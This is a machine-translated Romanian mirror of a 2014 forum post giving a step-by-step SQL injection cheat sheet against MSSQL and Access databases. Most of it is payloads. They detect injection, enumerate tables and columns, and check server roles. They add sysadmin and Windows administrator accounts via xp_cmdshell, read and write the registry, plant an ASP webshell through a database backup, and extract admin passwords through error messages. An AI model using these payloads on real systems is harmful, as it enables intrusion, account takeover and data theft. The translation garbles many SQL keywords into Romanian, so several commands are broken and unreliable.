Acest articol este un articol oglindă al traducerii automate, vă rugăm să faceți clic aici pentru a sări la articolul original.

Vedere: 14167|Răspunde: 0

[Comunicare sigură] Instrucțiuni comune pentru injecția SQL

[Copiază linkul]
Postat pe 22.11.2014 17:17:21 | | |
1. Determinarea dacă există o injecție
; și 1=1
; și 1=2

2. Judecată preliminară dacă este mssql
; și user>0

3. Judecați sistemul de baze de date
; și (select count(*) din sysobjects)>0 mssql
; și (select count(*) din msysobjects)>0 acces

4. Parametrul de injecție este un caracter
'și [criterii de interogare] și ''='

5. Nu există parametri filtrați în timpul căutării
'și [criterii de interogare] și '%25'='

6. Ghicește numele mesei
; și (selectează Count(*) din [numele tabel])>0

7. Ghicește câmpul
; și (selectează Count(numele câmpului) din numele tabelului)>0

8. Ghicește lungimea discului pe teren
; și (selectează top 1 lentile (numele domeniului) din numele tabelului)>0

9. (1) Ghicește valoarea ASCII a câmpului (acces)
; și (selectează top 1 asc(mid(numele terenului, 1,1)) din numele tabelului)>0

(2) Ghicește valoarea ASCII a câmpului (mssql)
; și (selectează top 1 unicode(substring(numele câmpului,1,1)) din numele tabelului)>0

10. Structura permisiunilor de testare (mssql)
; și 1=(selectează IS_SRVROLEMEMBER('sysadmin')); --
; și 1=(selectează IS_SRVROLEMEMBER('serveradmin')); --
; și 1=(selectează IS_SRVROLEMEMBER('setupadmin')); --
; și 1=(selectează IS_SRVROLEMEMBER('securityadmin')); --
; și 1=(selectează IS_SRVROLEMEMBER('diskadmin')); --
; și 1=(selectează IS_SRVROLEMEMBER('bulkadmin')); --
; și 1=(selectează IS_MEMBER('db_owner')); --

11. Adăugarea unui cont pentru mssql și sistem
; numele de utilizator master.dbo.sp_addlogin executiv; --
; exec master.dbo.sp_password null, username, parolă; --
; nume de utilizator de administrator master.dbo.sp_addsrvrolemember executiv; --
; Exec master.dbo.xp_cmdshell 'Numele utilizatorului web parolă /workstations:* /times:all /passwordchg:da /passwordreq:da /activ: da /add'; --
; Exec master.dbo.xp_cmdshell 'WEB User Name Parolă /Add'; --
; exec master.dbo.xp_cmdshell 'Administrator Net LocalGroup UserName /Add'; --

12. (1) Parcurge catalogul
; Create Table dirs(paths varchar(100), id int)
; Inserați directorii executivi master.dbo.xp_dirtree 'C:\'
; și (selectează căile top 1 din direcții)>0
; și (selectați căile top 1 din direcții unde căile care nu sunt în ('căi obținute din pasul anterior)))>)

(2) Parcurge catalogul
; creează temperatura tabelului (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; inserați executivul temporar master.dbo.xp_availablemedia; -- Ia toate unitățile curente
; inserați în temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Obține o listă cu subdirectoarele
; inserați în temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Obține structura arborelui de directoare pentru toate subdirectoarele
; inserați în temp(id) exec master.dbo.xp_cmdshell 'Type C:\web\index.asp'; -- Vizualizarea conținutului fișierului

13. Proceduri stocate în mssql
xp_regenumvalues Cheia rădăcină a registrului, cheia copil
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' returnează toate valorile cheie din mai multe seturi de înregistrări
xp_regread Cheia rădăcină, cheia copil, numele cheie-valoare
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' returnează valoarea cheii de set
xp_regwrite Cheia rădăcină, cheia copil, numele valorii, tipul valorii, valoarea
Există două tipuri de valori REG_SZ REG_DWORD pentru tipurile de caractere și pentru numere întregi
; exec xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' către registru
xp_regdeletevalue Cheia rădăcină, subcheia, numele valorii
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' pentru a elimina o valoare
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' pentru a elimina cheia, inclusiv toate valorile de sub acea cheie

14. MSSQL Backup creează un webshell
Folosește modelul
Create Table cmd(str image);
inserați în cmd(str) valori ("<% Dim oScript %>');
Backup model de bază de date pe disc='c:\l.asp';

15. Funcții încorporate MSSQL
; și (selectează @@version)>0 pentru a obține numărul versiunii de Windows
; și user_name()='dbo' pentru a determina dacă utilizatorul conectat al sistemului curent este SA
; și (selectează user_name())>0 A explodat utilizatorii conectați ai sistemului curent
; și (selectați db_name())>0 pentru a obține baza de date conectată în prezent



Încălcarea bazei de date MSSQL adnotată manual

1. Expune numele actual al tabelului și al coloanei
Trimite "'having 1=1--" după punctul de injectare pentru a primi mesajul de răspuns în engleză, în care poți vedea un nume de tabel și un nume de coloană. Trimite "group by the list name having 1=1--" pentru a obține un alt nume de coloană; Continuați să trimiteți "grupați după lista cu numele tabelului expus, numele tabelului expus". Numele celei de-a doua coloane are 1=1--", ceea ce îți oferă un alt nume de coloană. Fă commit în același mod până când pagina nu mai returnează mesaje de eroare pentru a obține toate numele coloanelor. Curiozități: Numele tabelelor violente și numele coloanelor sunt folosite în combinație cu GROUP BY în instrucțiunile SQL pentru a face judecăți condiționate. Deoarece afirmația este incompletă, baza de date returnează un mesaj de eroare și afișează un nume de tabel și un nume de coloană. Metoda de bază poate expune doar tabelul curent din baza de date, iar dacă un tabel conține multe nume de coloane, este foarte dificil să folosești metoda de bază.

În primul rând. Toate numele bazelor de date sunt expuse
Folosiți afirmația "and 0<>(select count(*) from master.dbo.sysdatabases unde name>1 și dbid=[N])" pentru a expune nume arbitrare de tabele și coloane în baza de date, unde "[N]" reprezintă tabelul N-lea din baza de date.
Pasul 1: După injectarea punctului, trimiteți următoarea instrucțiune: "and 0<>(select count(*) from master.dbo.sysdatabases unde name>1 și dbid=12)", deoarece valoarea dbid este de la 1 la 5, care este folosită de sistem, deci utilizatorul trebuie să fi construit-o din 6 și să fi trimis numele>1, câmpul de nume este un câmp de tip caracter, iar comparația numerelor va fi greșită, astfel că după trimitere, IE va returna următoarea informație: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] convertește valoarea nvarchar 'Northwind' în tip de date int coloană. Astfel, valoarea câmpului de nume este expusă, adică obținem un nume de bază de date "Northwind". Schimbarea valorii "dbid" poate obține toate numele bazei de date.

și 0<>(select count(*) din master.dbo.sysdatabases unde name>1 și dbid=[N])-- Modifică N pentru a exploda toate numele bazelor de date din 6


Al doilea. Expune toate denumirile tabelelor din baza de date specificată
După ce primești numele bazei de date, acum trebuie să obții toate numele tabelelor din bibliotecă, trimite următoarea instrucțiune: "and 0<>(select top 1 name din master.dbo.sysobjects unde xtype='U')", aici este numele tabelului în baza de date principală, iar instrucțiunea SQL a interogării returnează valoarea numelui, apoi compară-o cu numărul 0, astfel încât valoarea numelui să fie expusă. După trimitere, numele tabelului era "spt_monito" a fost dezvăluit.
Apoi sunt expuse celelalte tabele, iar următoarea afirmație este trimisă: "și 0<>(selectează numele de top 1 din master.dbo.sysobjects unde xtype='U' și name not in('spt_monito'))", iar un alt tabel numit "cd512" este expus. Fișier "and name not in(' spt_monito',' CD512',..))" Poți afla toate numele tabelelor.

și 0<>(selectează numele de top 1 din [specifică numele bazei de date].dbo.sysobjects unde xtype='U')--
și 0<>(selectează numele top 1 din [specifică numele bazei de date].dbo.sysobjects unde xtype='U' și name not in('[Numele tabelului explodat]'))--
și 0<>(selectează numele de top 1 din [specifică numele bazei de date].dbo.sysobjects unde xtype='U' și name not in('[Numele tabelului exploziv]', '[Nume al doilea tabelului explodat]')))--

4. Expune toate numele coloanelor din tabelul specificat
și 0<>(select count(*) din bbs.dbo.sysobjects unde xtype='U' și name='admin' și uid>(str(id)))
Convertiți valoarea ID într-un tip de caracter și apoi comparați-o cu o valoare întreagă. Numărul de identificare a ieșit. Valoarea este: 949578421 nume='numele tabelului'

și 0<>(selectează numele de top 1 din wutong.dbo.syscolumns unde id=949578421)-- Un nume de câmp din tabelul de administrare este expus

Resubmit și 0<>(selectează numele de top 1 din wutong.dbo.syscolumns unde id=949578421 și numele not in('adduser')))--
Fișier "and name not in(' spt_monito',' CD512',..))" Poți găsi toate numele câmpurilor în tabelul de administrare.


și 0<>(select count(*) din [specifică numele bazei de date].dbo.sysobjects unde xtype='U' și name='[Numele tabelului câmpului ce urmează să explodeze]' și uid>(str(id))))--Valoarea ID a numelui tabelului câmpului ce urmează să explodeze

și 0<>(selectează numele de top 1 din [specifică numele bazei de date].dbo.syscolumns unde id=valoarea ID-ului explodat)-- Numele unui câmp din tabelul valorilor id-ului explodiv

și 0<>(selectează numele de top 1 din [specifică numele bazei de date].dbo.syscolumns unde id=Valoarea identificării explozivă și numele care nu sunt în('[Nume câmp explodat]')))--



5. Citiți datele din tabelul specificat

și 0<(select A_ID din wutong.dbo.admin unde A_UserID>1) – conținutul care a stricat A_PWD

și 0<(selectează [un câmp care există] din [specifică numele bazei de date].dbo.[numele tabelului către interogare] unde [numele câmpului pentru a exploda conținutul]>1)--

și 0<(select A_ID din wutong.dbo.admin unde A_PWD>1 și A_UserID='admin')-- Parola administratorului este expusă


și 0<(Select Top 1 A_UserID FROM admin unde A_ID<>1)-- Numele administratorului id<>1 (fuhao)

și 0<(Selectează Top 1 A_UserID DE la admin unde A_ID <>1 și A_UserID <> 'fuhao')-- Numele celui de-al doilea admin <> neegal cu (tuiguang)

și 0<(Selectează Top 1 A_UserID FROM admin unde A_ID <>1 și A_UserID <> 'fuhao' și A_UserID <> 'tuiguang')--

După ce știi numele tabelului și al coloanei bazei de date, poți folosi "interogarea" pentru a citi orice informație din baza de date. De exemplu, dacă doriți să citiți datele N-a dintr-o coloană dintr-un tabel, puteți trimite afirmația: "și (Selectați Top 1 nume coloană FROM numele tabelului unde id=[N])>1" ([N] reprezintă a N-a dată din coloană), și puteți cunoaște datele dorite din informațiile returnate de IE.






Precedent:Cum să ascunzi un fișier rar comprimat într-un fișier jpg
Următor:Colectează "Harry Potter" 1~7 Scoate-l și împarte-l Dacă nu-ți place, nu-l pulveriza
Disclaimer:
Tot software-ul, materialele de programare sau articolele publicate de Code Farmer Network sunt destinate exclusiv scopurilor de învățare și cercetare; Conținutul de mai sus nu va fi folosit în scopuri comerciale sau ilegale, altfel utilizatorii vor suporta toate consecințele. Informațiile de pe acest site provin de pe Internet, iar disputele privind drepturile de autor nu au legătură cu acest site. Trebuie să ștergi complet conținutul de mai sus de pe calculatorul tău în termen de 24 de ore de la descărcare. Dacă îți place programul, te rugăm să susții software-ul autentic, să cumperi înregistrarea și să primești servicii autentice mai bune. Dacă există vreo încălcare, vă rugăm să ne contactați prin e-mail.

Mail To:help@itsvse.com